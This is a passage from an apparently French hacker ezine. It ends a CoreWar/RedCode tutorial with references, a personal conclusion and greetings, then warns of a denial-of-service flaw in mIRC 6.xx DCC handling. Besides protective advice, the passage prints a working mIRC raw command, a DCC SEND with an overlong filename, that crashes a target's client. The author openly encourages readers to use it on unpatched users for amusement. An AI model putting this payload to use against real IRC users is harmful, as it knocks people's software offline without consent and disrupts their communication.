type: ;redcode-94 (La version de RedCode Utilise) ;name Warrior (Le nom du Warrior) .... (Revenez a la page 15) IIIIIIIIIIIIIIIIIIIII / IIIIIIIIIIIIIIIIIIIII / III III III / III III III / Troisiéme partis : III III III / IIIIIIIIIIIIIIIIIIIII / IIIIIIIIIIIIIIIIIIIII / I/References: (Beaucoup de parti de mon article son traduit de ses references) corewarrior.pdf (la newsletter) faq.pdf (La FAQ officielle du CoreWar) hints.pdf introintoart88.pdf genetic.pdf newsletter.pdf (une autre newsletter) tutor.pdf (Beginner's guide to RedCode 1) tutor2.pdf (Beginner's guide to RedCode 2) SGB.pdf (Steve's Guide For Biginer Iss) www.koth.org (Vous trouvez tous ici) II/Conclusion : Ouf, j'ai fini, Beaucoup de chose sont change depuis que j'ai commence a ecrire cette article, (J'ai change de ptit amis, appris le PHP et lu la nouvelle PcTeam lol) par ex au commencement (je ne me souviens pas de date precise mais je crois que ça fait a peu près un mois ou 1 mois et 1/2) j'avais l'idée de faire un p'tit article sur CoreWar ,une introduction pour secouer la curiosité du lecteur :) et a la fin je me retrouve avec un long tutorial de 22 pages, putin 22 pages , j'ai toujours pas compris comment j'ai ecris-traduit tout ça, au commencement je croyais qu'écrire un article est une simple chose de 5mn ou 10 mais maintenant j'ai compris que c'est une chose très fatigante mais vraiment TRES FATIGENTE ET DIFFICILE ,pour la fin je souhaite que quelqu'un s'intéresse a mon article ,qu'il soit pris par un zine (MindKind ou IOC par ex) ,que je reçois des email remplis de question de soutient a mon adresse ( seriousman@altern.org ) , car sinon sa serai vraiment chiant enfin je remercie Winamp et tout mais mp3 pour leur précieux soutient (Avril Lavigne, Children Of Bodom, TaTu, Red Hot Chilly Pepers, OffSpring, KorN..) A+ III/Thankz: #hianda ,#newffr, #immortal-hack, #activism, madchat.org, Shmeitcorp, TNT (pour l'idee) newshackers.com, jeuxvideos.com, PcTeam , attilajc, MrPhilex.org , Apoclypse, IOC, DeathlyBy , HackOff , KcP , Turlututu Trax0r, Zamer, MindKind, Exces, Billou, mamere .... et tout ceux que j'ai oublie . Ecris Par SeriousMan ------------------------------------------------------------------------- Cesse de chercher ta place dans ta vie, ta place te cherche. __Kalif Ali .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| seriousman@altern.org | '-------- - ----------- ------------ -----' Warning : Mirc 6.xx Denial of Service in DCC modules. Récemment est sorti un D.o.S contre les capacités DCC de mIRC 6.xx la faille plutôt simple fait tout simplement planter mIRC. Pour vous en protéger, vous n'avez qu'a ignorer tout vos DCC (/ignore -wd *) ou a downloader le script accessible via l'adresse http suivante : http://perso.wanadoo.fr/fred74-/exploit.html ou plus directement http://membres.lycos.fr/james3950/patch/patcherreurirc.ini Hint supplémentaire, si vous avez ignoré -wd *, on peut faire exception avec /ignore -x nickname Si votre dada c'est plus de faire planter le monde, voici une représentation en mIRC script de la dite faille : /.raw PRIVMSG $nick : $+ $chr(1) $+ DCC SEND "a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a" 6666666666 66666 $+ $chr(1) Evidemment la faille a été utilisée massivement, il est donc probable que un très bon pourcentage de gens (surtout les gens important) soit patché d'une façon ou d'une autre d'ici très peu de temps si ce n'est déjà fait a la parution de ce ezine, mais Internet étant un vaste endroit, vous trouverez sûrement 1 ou 2 tata pour vous amusez quelque 10 minutes entre 2 lignes de code.